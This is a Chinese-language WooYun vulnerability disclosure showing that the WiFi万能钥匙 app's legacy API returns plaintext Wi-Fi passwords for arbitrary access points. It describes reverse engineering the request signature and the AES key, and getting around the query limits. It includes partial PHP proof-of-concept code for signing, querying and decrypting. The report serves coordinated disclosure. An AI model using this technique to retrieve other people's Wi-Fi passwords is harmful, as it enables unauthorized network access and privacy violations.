当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-099268

漏洞标题:WIFI万能钥匙密码查询接口算法破解(可无限查询用户AP明文密码)

相关厂商:WiFi万能钥匙

漏洞作者: 路人甲

提交时间:2015-03-03 16:59

修复时间:2015-06-04 12:58

公开时间:2015-06-04 12:58

漏洞类型:敏感信息泄露

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-03: 细节已通知厂商并且等待厂商处理中
2015-03-06: 厂商已经确认,细节仅向厂商公开
2015-03-09: 细节向第三方安全合作伙伴开放
2015-04-30: 细节向核心白帽子及相关领域专家公开
2015-05-10: 细节向普通白帽子公开
2015-05-20: 细节向实习白帽子公开
2015-06-04: 细节向公众公开

简要描述:

http://zone.wooyun.org/content/18815,我是看到这篇帖子后萌生的想法。。。
现在不用装APP,也能查询你家的WIFI明文密码了。

详细说明:

凡是APP就涉及到通信接口,看了下万能钥匙的APP,走的明文HTTP协议这就简单了。
分析Android程序有个杀手锏,就是程序在更新迭代的时候新版本做了API改动,但为了兼容考虑,老版本存在问题的API不会下线,一直存在线上。。。

play.jpg


从GooglePlay下载了1.X版本的WIFI万能钥匙,确实还能用,通过程序包分析算法(说一下在,各种key,salt明文存储,连混淆哪怕是字符拼接都没有。。。)

key.png


这个是查询密码用到的数据包,以及参数中sign(签名)的算法,其实就是这些数据进行排序后用salt算个md5。新版本的万能钥匙还有个retSn,实现链式认证,也能突破,但这个报告只说1.x版本的API问题(1.x时代很多细节明显没有考虑完善,基本只靠sign做安全)。

1.jpg


用JAVA实现查询密码请求的签名

2.jpg


为了验证真实性,我给附近的一台OpenWrt SSID前加了个“1OpenWrt”,在计算签名查询,bingo!

3.jpg


第一部分完成了,但发现返回的密码竟然好长一串似乎还真没泄漏用户明文密码哎,但没明文客户端怎么连接呢。。。通过apk分析发现是用了AES加密,当然key和iv也泄漏了。

aes.png


继续用JAVA程序实现

jiemi.png


嘿嘿,原来你家密码是这个(跟这个朋友的分析一致 http://drops.wooyun.org/papers/4976)
另外测试的过程中突然提示

no.png


经过分析原来是dhid每日有查询限额,继续分析dhid算法,是通过服务器返回的,具体伪造不在说了,基本还是分析包,打包sign,发包了。

漏洞证明:

mima1.png


mima2.png


这样,就实现了通过SSID,和BSSID查询任意AP明文密码了,本地写了个自用的玩玩。为了证明真实并且避免被恶意利用,我只放出部分POC代码,厂商一看就懂。

function sign( $array , $do ){
// 签名算法
$request_str = '';
$salt = '';
$sign = '';
// 对应apk中的 Arrays.sort 数组排序,测试PHP需用 ksort
ksort( $array );
foreach ($array as $key => $value) {
$request_str .= $value;
}
if ( $do == 'querypwd') {
$sign = md5( $request_str . SALT );
} elseif ( $do == 'querydhid' ) {
$sign = md5( $request_str . SALT2 );
} else {
NULL;
}
return $sign;
}


查询密码的

function get_pwd(){
$ssid = addslashes( $_POST['ssid'] );
$mac = addslashes( $_POST['mac'] );
$data = '';
$array = array(
"och" => "guanwang",
"ii"=> "123456789012345",
"appid"=> "0006",
"pid"=> "qryapwd:commonswitch",
"mac"=>"xx:xx:xx:xx:xx:xx",
"lang"=>"cn",
"bssid"=>"$mac,",
"v"=>"58",
"ssid"=>"$ssid,",
"method"=>"getSecurityCheckSwitch",
"uhid"=> "a0000000000000000000000000000001",
"st"=> "m",
"chanid"=> "googleplay",
"dhid" => get_dhid()
);
$sign = sign( $array , 'querypwd' );
foreach ($array as $key => $value) {
if ( $key == 'bssid') {
$data .= "sign=" . strtoupper($sign) . "&";
}
$data .= "$key=" . urlencode( $value ) . "&";
}


AES解密的

function decryptStrin($str,$keys=AESKey,$iv=AESIV,$cipher_alg=MCRYPT_RIJNDAEL_128){
//Wi-Fi万能钥匙密码采用 AES/CBC/NoPadding 方式加密
$decrypted_string = mcrypt_decrypt($cipher_alg, $keys, pack("H*",$str),MCRYPT_MODE_CBC, $iv);
return $decrypted_string;
}


整个过程感觉自己又学到不少啊。。。
PS:旧版本是默认分享用户WIFI的,1.0.8这个版本,厂商还记得吧?确实是用户同意的前提,不知情的同意?

yaoshi1.png


yaoshi2.png

修复方案:

解决方案引用官方的话:问问你身边的Android程序员。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-03-06 12:56

厂商回复:

感谢您的关注,已将问题转交至相关团队。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-03-03 17:03 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    能雷劈么~?

  2. 2015-03-03 17:04 | duang ( 路人 | Rank:10 漏洞数:2 | 其实第一次来乌云我是拒绝的,因为你不能让...)

    火钳留名

  3. 2015-03-03 17:06 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    一楼?

  4. 2015-03-03 17:06 | 天地不仁 以万物为刍狗 ( 普通白帽子 | Rank:977 漏洞数:264 | 天地本不仁 万物为刍狗)

    @泳少 别匿名了 就是你 对 洞主就是你 /抠鼻

  5. 2015-03-03 17:10 | 无心、 ( 实习白帽子 | Rank:71 漏洞数:20 | 你不是风儿,我也不是沙,再怎么缠绵也到不...)

    @天地不仁 以万物为刍狗 火前留名

  6. 2015-03-03 17:15 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @天地不仁 以万物为刍狗 这个叼!肯定不是一楼

  7. 2015-03-03 17:15 | 专业种田 认证白帽子 ( 核心白帽子 | Rank:1425 漏洞数:182 | 没有最专业的农民,只有更努力地耕耘..........)

    我好想安装个测试下,但又怕它把我的密码发给你们了,怎么办?

  8. 2015-03-03 17:23 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    @天地不仁 以万物为刍狗 =。=不是我。。我小号

  9. 2015-03-03 17:23 | ssss ( 实习白帽子 | Rank:80 漏洞数:19 | 虫子是给早起的勤奋的鸟儿七的。)

    路人

  10. 2015-03-03 17:59 | f4ckbaidu ( 普通白帽子 | Rank:182 漏洞数:23 | 开发真是日了狗了)

    洞主找他们要一辆特斯拉好了,反正他们年终奖每人发一台

  11. 2015-03-03 18:03 | 腹黑 ( 路人 | Rank:14 漏洞数:10 | (◦ "̮ ◦))

    洞主找他们要一辆特斯拉好了,反正他们年终奖每人发一台

  12. 2015-03-03 18:15 | 齐迹 ( 核心白帽子 | Rank:784 漏洞数:100 | 一名普通的phper开发者,关注web安全。)

    @专业种田 有个功能叫做修改密码!

  13. 2015-03-03 18:30 | Mr .LZH ( 普通白帽子 | Rank:583 漏洞数:75 | 非妹子勿扰···)

    逆向安卓客户端算法就行了吧,算法在里面有,不知道有混淆没

  14. 2015-03-03 18:33 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    反编译非法吗?

  15. 2015-03-03 18:46 | Security ( 路人 | Rank:25 漏洞数:9 )

    有点意思,无线名字有很多重复的吧,难道还有位置参数。

  16. 2015-03-03 18:48 | Code_Monkey ( 路人 | Rank:24 漏洞数:7 | Code Monkey think someday he have everyt...)

    最近万能钥匙很火啊. 以前谁来我家要连接WIFI必然是我拿着他们手机亲自连接的. 目的很简单, 我看看有没有万能钥匙. 有的话, 我叫他们卸载了才连接...

  17. 2015-03-03 18:56 | 呼呼大侠 ( 路人 | Rank:6 漏洞数:2 | 一只默默学习的菜菜)

    火钳留名

  18. 2015-03-03 19:05 | yichin ( 路人 | Rank:4 漏洞数:2 | 233=_=)

    发编译出来的吗?

  19. 2015-03-03 19:28 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    我是来看闪电的!

  20. 2015-03-03 19:44 | Mr .LZH ( 普通白帽子 | Rank:583 漏洞数:75 | 非妹子勿扰···)

    卧槽,打雷了

  21. 2015-03-03 19:54 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    果然闪电了

  22. 2015-03-03 20:14 | Jumbo ( 普通白帽子 | Rank:111 漏洞数:29 | 猫 - http://www.chinabaiker.com)

    先mark下

  23. 2015-03-03 20:19 | ki11y0u ( 普通白帽子 | Rank:104 漏洞数:23 | 好好学习,求带飞~~~~~~~~~~~~~~~~~~~~~~...)

    mark,果然闪电了。

  24. 2015-03-03 20:46 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    劈了!~~~关注下

  25. 2015-03-03 20:51 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    真能雷劈了。呵呵

  26. 2015-03-03 21:16 | Suner ( 路人 | Rank:21 漏洞数:2 | 洞次打次)

    关注下一

  27. 2015-03-03 21:38 | 晏子 ( 路人 | Rank:6 漏洞数:4 | 无)

    mark

  28. 2015-03-03 22:08 | light ( 普通白帽子 | Rank:261 漏洞数:48 | 精华漏洞数:36 | WooYun认证√ 艺术系教授 ...)

    @Security 肯定有记录MAC地址啊

  29. 2015-03-03 22:19 | ian ( 路人 | Rank:0 漏洞数:1 | 欢迎各位大牛加我哦)

    流弊66666666

  30. 2015-03-03 22:37 | Security ( 路人 | Rank:25 漏洞数:9 )

    @light 竟然忘了这回事了... :(

  31. 2015-03-03 22:54 | 东方不败 ( 普通白帽子 | Rank:440 漏洞数:66 | 日出东方,唯我不败。)

    5亿字典在手,天下WIFI随我连

  32. 2015-03-03 23:09 | 孤影 ( 路人 | Rank:10 漏洞数:4 | 一万年太久,只争朝夕。)

    楼上果然都是好洞主啊,wifi在手,天下我有

  33. 2015-03-03 23:21 | 飞鸡 ( 路人 | Rank:1 漏洞数:1 | 看,有飞鸡)

    记者看这

  34. 2015-03-04 06:54 | 萌萌哒-花粉 ( 路人 | Rank:4 漏洞数:5 | 多乌云 多美女 花粉 顾名思义 就是校花班花...)

    闪电了

  35. 2015-03-04 10:41 | 奋斗的阿呆 ( 普通白帽子 | Rank:138 漏洞数:30 | 一二三,不许动!)

    @Code_Monkey 人家连上了再装。。。

  36. 2015-03-06 13:30 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    5分滚粗

  37. 2015-03-06 13:50 | 不期而遇 ( 路人 | Rank:11 漏洞数:3 | 向大牛学习)

    程序员年终的特斯拉没了

  38. 2015-03-06 14:48 | FenQing ( 路人 | Rank:8 漏洞数:3 | FenQing)

    都闪电了才5分啊

  39. 2015-03-06 16:00 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    恭喜洞主精华漏洞获取10rank...

  40. 2015-03-09 14:09 | 瘦蛟舞 认证白帽子 ( 普通白帽子 | Rank:687 漏洞数:78 | 铁甲依然在)

    厂商评分不厚道呀....

  41. 2015-03-09 20:04 | 小清新 ( 路人 | Rank:4 漏洞数:1 | 以后再写)

    5分有点太少了把

  42. 2015-03-10 12:37 | 眯眯眼 ( 普通白帽子 | Rank:304 漏洞数:67 | 精华漏洞数:22 | WooYun认证√ 漏洞审核员)

    @疯狗 海尔走的是小厂商吗?

  43. 2015-03-12 00:50 | 椰子比尔 ( 路人 | Rank:0 漏洞数:1 | 安全任重道远!!!)

    怎么看不到细节?XXX

  44. 2015-03-26 15:18 | luwikes ( 普通白帽子 | Rank:512 漏洞数:77 | 潜心学习~~~)

    这尼玛也5分~

  45. 2015-05-18 14:45 | 瘦蛟舞 认证白帽子 ( 普通白帽子 | Rank:687 漏洞数:78 | 铁甲依然在)

    关联文章http://drops.wooyun.org/tips/6049

  46. 2015-06-04 14:15 | 胡小树 ( 实习白帽子 | Rank:60 漏洞数:11 | 我是一颗小小树)

    @瘦蛟舞 @泳少 泳少,好屌,原来@瘦蛟舞 是你小号,没办法,我就是这么机智

  47. 2015-06-04 15:13 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    @胡小树 你这么机智你妈妈知道吗?:)

  48. 2015-06-05 02:16 | SuperRookie ( 实习白帽子 | Rank:39 漏洞数:7 | 求收编,本人会注入,会上传,会Xss,会破...)

    着要是不精华没天理

  49. 2015-09-13 15:02 | popok ( 普通白帽子 | Rank:117 漏洞数:24 | nothing)

    这种也不算洞吧,APP需要查询,肯定要有相关的api,不管怎么混淆,只要逆向技术过硬,总能找到